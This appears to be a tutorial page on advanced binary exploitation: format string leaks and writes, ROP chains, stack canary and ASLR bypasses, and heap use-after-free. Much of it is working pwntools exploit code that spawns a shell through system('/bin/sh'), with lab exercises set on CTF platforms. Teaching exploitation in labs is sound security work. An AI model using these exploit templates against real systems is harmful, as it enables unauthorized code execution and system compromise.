Advanced Exploit Development
Go beyond basic stack overflows to ROP chain construction, format string exploitation, heap spraying, and bypassing modern mitigations: ASLR, NX/DEP, stack canaries, and PIE.
Learning Objectives
- → Understand and bypass stack canaries by leaking stack values
- → Exploit format string vulnerabilities to read and write memory
- → Construct ROP (Return-Oriented Programming) chains to bypass NX/DEP
- → Bypass ASLR using information leaks and partial overwrites
- → Analyze heap vulnerabilities: use-after-free and double free
Modern Binary Mitigations
Modern systems have multiple exploit mitigations:
1. Stack Canary (SSP)
- Random value placed on stack before return address
- Checked on function return: if modified, abort
- Bypass: leak the canary, write it back correctly
2. NX/DEP (No-Execute / Data Execution Prevention)
- Stack and heap marked non-executable
- Shellcode on stack = SIGKILL (can't execute data)
- Bypass: ROP chains (use existing executable code)
3. ASLR (Address Space Layout Randomization)
- Stack, heap, libraries at random base addresses each run
- Makes hardcoded addresses useless
- Bypass: information leak to reveal real addresses
4. PIE (Position Independent Executable)
- Binary code itself at random address
- Combined with ASLR: entire address space randomized
- Bypass: leak code address + calculate base
5. RELRO (Relocation Read-Only)
- Full RELRO: GOT (Global Offset Table) read-only
- Prevents GOT overwrite exploits
Check protections:
checksec --file=./binary
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
# ASLR: /proc/sys/kernel/randomize_va_space = 2
Format String Vulnerabilities
// Vulnerable code:
printf(user_input); // BAD — user controls format string
// vs safe:
printf("%s", user_input); // GOOD
// Format string specifiers:
%s — read string at pointer
%d — read integer
%x — read 4 bytes from stack as hex
%p — read pointer from stack
%n — WRITE: write number of bytes printed so far to pointer on stack
// Reading arbitrary memory:
// printf("%8$x") reads the 8th argument (stack position 8)
printf("%1$x.%2$x.%3$x.%4$x.%5$x.%6$x.%7$x.%8$x")
# Dumps stack values — find canary, return address, libc base
// Writing arbitrary memory:
// Write 0x41414141 to address (complex):
printf("%100x%n") # writes 100 (0x64) to the address at next stack position
// Practical exploit steps:
# 1. Find offset: AAAA%1$x.%2$x...%n$x until you see 41414141
# 2. Leak canary: %N$x where N is canary position
# 3. Leak return address / libc address
# 4. Calculate offsets, build exploit
Return-Oriented Programming (ROP)
NX/DEP: can't execute shellcode on stack
Solution: ROP — chain existing executable code snippets ("gadgets")
ROP Gadget: short instruction sequence ending in 'ret'
e.g.: pop rdi ; ret
pop rsi ; ret
mov rax, 0 ; ret
ret instruction: pops next address from stack and jumps to it
Attacker controls stack → controls execution flow through gadgets
Goal: call system("/bin/sh") using gadgets + libc:
1. pop rdi ; ret → put "/bin/sh" address in rdi (arg1)
2. [address of "/bin/sh" string]
3. ret alignment (stack alignment for system())
4. [address of system()]
→ OS executes: system("/bin/sh") = shell!
Building ROP Chains with pwntools
from pwn import *
# Load binary and target:
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
r = process('./vuln')
# Find gadgets with ROPgadget or ropper:
# ROPgadget --binary ./vuln --rop --badbytes 0a
# output: 0x401234 : pop rdi ; ret
rop = ROP(elf)
rop.call('puts', [elf.got['puts']]) # leak puts() address
rop.call('main') # return to main
payload = b'A' * offset
payload += p64(rop.chain())
# After leak: calculate libc base
libc_base = leaked_puts - libc.sym['puts']
libc.address = libc_base
# Second ROP: system("/bin/sh")
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']
rop2 = ROP(libc)
rop2.call('system', [bin_sh])
payload2 = b'A' * offset + p64(canary) + b'B' * 8
payload2 += p64(rop2.chain())
r.sendline(payload2)
r.interactive()
Stack Canary Bypass
# Canary: 8-byte random value (x64) at fixed offset from return address
# Typically: 0x???...??\x00 (null byte prefix on Linux)
# Method 1: Format string leak
# Find canary offset, leak with %N$x
# Method 2: Brute force (32-bit only, 1/256 chance null byte)
# Loop: if crash → wrong, if prompt → survived
# Method 3: Fork server (same canary per fork)
# Each fork() inherits parent's canary — brute force byte by byte
# 4 bytes: 256*4 = 1024 guesses (fast)
from pwn import *
def leak_canary(offset):
r = process('./vuln')
r.recvuntil(b'> ')
r.sendline(f'%{offset}$p'.encode())
val = int(r.recvline().strip(), 16)
r.close()
return val
canary = leak_canary(23) # position 23 on stack = canary
log.success(f'Canary: {hex(canary)}')
# Now include canary in ROP chain:
payload = b'A' * padding + p64(canary) + p64(0) + p64(ret_address)
ASLR Bypass via Information Leak
# ASLR randomizes base addresses — but offsets within binary are fixed!
# If we can leak ONE address (libc function, stack pointer)
# → calculate: leaked_addr - known_offset = base_address
# Step 1: Leak libc function via format string or GOT read
puts_addr = leak_function_address('puts')
# Step 2: Calculate libc base
# puts_offset from libc symbols:
puts_offset = libc.sym['puts']
libc_base = puts_addr - puts_offset
# Step 3: Calculate other function addresses
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
log.info(f'libc base: {hex(libc_base)}')
log.info(f'system: {hex(system)}')
log.info(f'/bin/sh: {hex(bin_sh)}')
Heap Exploitation Concepts
// Heap: dynamic memory (malloc/free)
// malloc(size) → allocates chunk on heap
// free(ptr) → returns chunk to allocator (ptmalloc2 on Linux)
// Use-After-Free (UAF):
char *a = malloc(64); // allocate
free(a); // free
// 'a' still points to freed memory
char *b = malloc(64); // allocator gives same memory
b[0] = 0x41; // writes to old chunk
a[0]; // reads attacker-controlled data via 'a'
// If 'a' is a vtable or function pointer: code execution!
// Double Free:
free(ptr);
free(ptr); // free same pointer twice
// Corrupts allocator metadata → controlled heap layout
// Can overwrite malloc metadata to write arbitrary address
// Tools for heap debugging:
# pwndbg: heap command shows chunks
# GEF: heap bins, chunks analysis
# malloc_chunk(addr) in pwndbg
pwndbg> heap
pwndbg> bins # fastbins, unsorted bins, small bins
pwndbg> arena # main arena state
pwntools Exploit Framework
# Complete exploit template:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'
elf = ELF('./vuln', checksec=True)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def start():
if args.REMOTE:
return remote('challenge.site', 1337)
else:
return process('./vuln')
r = start()
# Interact with binary
r.recvuntil(b'Input: ')
payload = b'A' * 64 + b'B' * 8
# Send and receive
r.sendline(payload)
output = r.recv(1024)
# For binaries requiring user interaction after exploit:
r.interactive()
Exploit a format string vulnerability on a lab binary (use pwn.college or exploit.education free VMs): (1) identify: printf(buf) vs printf('%s', buf), (2) input: AAAA%1$x.%2$x.%3$x...%20$x to find 'AAAA' (0x41414141) on stack, (3) use offset to leak the canary: %N$p, (4) leak a return address to defeat ASLR, (5) calculate libc base, (6) build complete exploit using pwntools.
What does %n format specifier do and why is it dangerous?
Build a ROP chain to bypass NX: (1) use checksec to verify NX is enabled on a lab binary, (2) ROPgadget --binary ./vuln --rop to list gadgets, (3) find: pop rdi ; ret gadget, (4) locate /bin/sh string in libc (strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep '/bin/sh'), (5) build chain: [offset] + [canary] + [RBP pad] + [pop rdi ; ret] + [/bin/sh addr] + [system addr], (6) use pwntools ROP class to automate chain construction.
Why does a ROP chain bypass NX/DEP?
Solve a pwn challenge from picoCTF or pwn.college using pwntools: (1) identify vulnerability type: buffer overflow, format string, or UAF, (2) checksec: what mitigations are present?, (3) write Python exploit with pwntools, (4) test locally, (5) adapt for remote with args.REMOTE, (6) submit flag. Document: vulnerability type, mitigations bypassed, ROP gadgets used.
What is a 'one_gadget' in libc exploitation?